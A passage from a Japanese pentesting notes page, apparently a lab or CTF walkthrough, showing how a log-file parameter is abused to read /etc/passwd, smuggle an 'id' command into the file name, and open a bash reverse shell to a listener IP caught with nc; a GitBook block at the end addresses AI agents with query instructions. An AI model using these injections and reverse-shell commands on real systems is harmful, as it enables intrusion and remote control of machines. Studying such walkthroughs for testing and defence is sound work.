> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce/log-poisoning-rce-pentesting-web.md).

# ログポイズニング RCE

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための ログポイズニング RCE メモ。

## (LFI - RCE) ログポイズニング:

たとえば、次のようなファイルを一覧表示しようとすると `/etc/passwd`、たとえば:

```bash
log_file=/etc/passwd  &analyze_log=/etc/passwd

```

ファイルが一覧表示されます :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a87e0c3f818aba8b543536fa0bcde800c20fd538%2Fimage%20(1385).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、フラグを含むファイルを読み取ろうとします `root` そして、コマンドを実行できることが分かります（たとえば `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25d40a134773f4e7b8900b755653d877c459d502%2Fimage%20(1386).png?alt=media" alt=""><figcaption></figcaption></figure>

### **完全アクセス（リバースシェル）:**

リバースシェルを取得するために、以下のコマンドを実行します:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"

```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt

```

{% endcode %}

その後、次のコマンドでリスナーを設定します `nc`:

```bash
nc -nvlp 443

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce/log-poisoning-rce-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
